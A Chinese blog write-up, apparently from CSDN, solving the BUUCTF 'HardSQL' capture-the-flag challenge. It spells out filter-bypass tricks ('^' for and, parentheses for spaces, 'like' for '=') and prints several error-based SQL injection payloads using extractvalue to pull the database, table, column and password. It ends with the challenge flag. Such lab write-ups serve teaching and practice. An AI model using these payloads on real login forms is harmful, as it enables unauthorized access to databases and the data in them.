BUUCTF [极客大挑战 2019]HardSQL

本文介绍了一种通过SQL注入获取数据库信息的方法。利用特殊构造的SQL语句绕过登录验证,获取目标数据库名称、表名、列名及敏感数据。演示了如何使用extractvalue函数结合union选择来提取指定信息。
摘要由CSDN通过智能技术生成

还是这个熟悉的登录页面

尝试万能密码登录,发现有过滤,一个一个试

过滤了空格,=,substr,and等等许多,双写也无法绕过,那么换报错注入试试

这里and用^绕过  空格用括号绕过 =用like绕过

用户名:1'^extractvalue(1,concat(0x7e,(select(database()))))#
密码随便输

1'^extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like'geek')))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#

1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))#

 只有一半,用{left(),right()}

1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))#
1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))#

 拼起来得flag:flag{a23902dd-d567-42e5-b74f-d67bda971199}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值